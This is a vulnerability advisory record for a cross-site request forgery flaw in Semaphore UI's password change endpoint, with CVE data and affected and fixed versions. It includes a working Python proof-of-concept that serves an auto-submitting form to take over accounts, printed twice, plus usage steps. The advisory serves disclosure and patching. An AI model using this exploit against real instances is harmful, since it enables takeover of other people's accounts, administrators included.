GHSA-8CJ9-R88M-8945
Vulnerability from github – Published: 2026-09-03 19:23 – Updated: 2026-09-03 19:23
VLAI
Summary
Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation
Details
Summary
The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.
Details
The password change endpoint of Semaphore UI does not implement any CSRF protection:
- No CSRF token required
- No current password confirmation required
- Authentication relies solely on a session cookie (
semaphore) with noSameSiteenforcement
A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.
PoC
To reproduce the exploit, you can use the following python script:
import logging
import argparse
import time
import sys
import os
from http.server import SimpleHTTPRequestHandler, HTTPServer
logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')
def forge_malicious_page(target, user_id, newpassword):
return f"""
<html>
<body>
<form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">
<input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
</body>
</html>
""";
parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri", help="Base uri to target", required=True)
parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port", help="Port to run server", default=1337)
args = parser.parse_args()
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
(self.client_address[0], self.command, self.path,
self.path.split('?')[1] if '?' in self.path else 'None'))
content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))
httpd.serve_forever()
Example :
python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337
1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.
2 - Connect to semaphore UI in another tab with the targeted user.
3 - In the same browser, visit the malicious website (ex: localhost:1337).
4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.
Impact
This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.
Severity
7.6 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/semaphoreui/semaphore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260707190631-c59c3dc9035b"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73292"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-620"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T19:23:15Z",
"nvd_published_at": "2026-08-12T16:17:22Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.\n\n### Details\n\nThe password change endpoint of Semaphore UI does not implement any CSRF protection:\n\n- No CSRF token required\n- No current password confirmation required\n- Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement\n\nA malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/\u003cid\u003e/password forms. \n\n\n### PoC\n\nTo reproduce the exploit, you can use the following python script:\n\n```python\nimport logging\nimport argparse\nimport time\nimport sys\nimport os \nfrom http.server import SimpleHTTPRequestHandler, HTTPServer\n\nlogging.basicConfig(filename=None, level=logging.DEBUG,format=\u0027%(asctime)s - %(message)s\u0027)\n\ndef forge_malicious_page(target, user_id, newpassword):\n return f\"\"\"\n \u003chtml\u003e\n \u003cbody\u003e\n\n \u003cform id=\"CSRF_POC\" action=\"{target}/api/users/{user_id}/password\" enctype=\"text/plain\" method=\"POST\"\u003e\n\n \u003cinput type=\"hidden\" name=\u0027{{\"password\": \"{newpassword}\", \"project_id\": 1}}\u0027 value=\u0027//}}\u0027 /\u003e\n \u003c/form\u003e\n \n \u003cscript\u003e\n document.getElementById(\"CSRF_POC\").submit();\n \u003c/script\u003e\n\n \u003c/body\u003e\n \u003c/html\u003e\n \"\"\";\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\",\"--user_id\",type=int, help=\"user id to change password\", required=True)\nparser.add_argument(\"-u\",\"--uri\", help=\"Base uri to target\", required=True)\nparser.add_argument(\"-n\",\"--new_password\", help=\"new password to set\", default=\u0027passwordchanged\u0027)\nparser.add_argument(\"-p\",\"--port\", help=\"Port to run server\", default=1337)\nargs = parser.parse_args()\n\n\nclass Handler(SimpleHTTPRequestHandler):\n \n def do_GET(self):\n logging.info(\"Client: %s | Methode: %s | Chemin: %s | Query: %s\" %\n (self.client_address[0], self.command, self.path,\n self.path.split(\u0027?\u0027)[1] if \u0027?\u0027 in self.path else \u0027None\u0027))\n content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n self.send_header(\"Content-Length\", str(len(content)))\n self.end_headers()\n self.wfile.write(content)\n\n\nhttpd = HTTPServer((\"\", args.port), Handler)\nlogging.info(\"[*] Serving at port \"+str(args.port))\n\nhttpd.serve_forever()\n```\n\nExample : \n```bash\npython poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337\n```\n\n1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.\n2 - Connect to semaphore UI in another tab with the targeted user. \n3 - In the same browser, visit the malicious website (ex: localhost:1337).\n4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`.\n\n\n### Impact\n\nThis is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.",
"id": "GHSA-8cj9-r88m-8945",
"modified": "2026-09-03T19:23:15Z",
"published": "2026-09-03T19:23:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/security/advisories/GHSA-8cj9-r88m-8945"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73292"
},
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/commit/2d6e2e3eb10e8bf688e2ab59609b909a012fad4c"
},
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/commit/c59c3dc9035badcbf0609c7d35679c06e590a956"
},
{
"type": "PACKAGE",
"url": "https://github.com/semaphoreui/semaphore"
},
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/releases/tag/v2.18.21"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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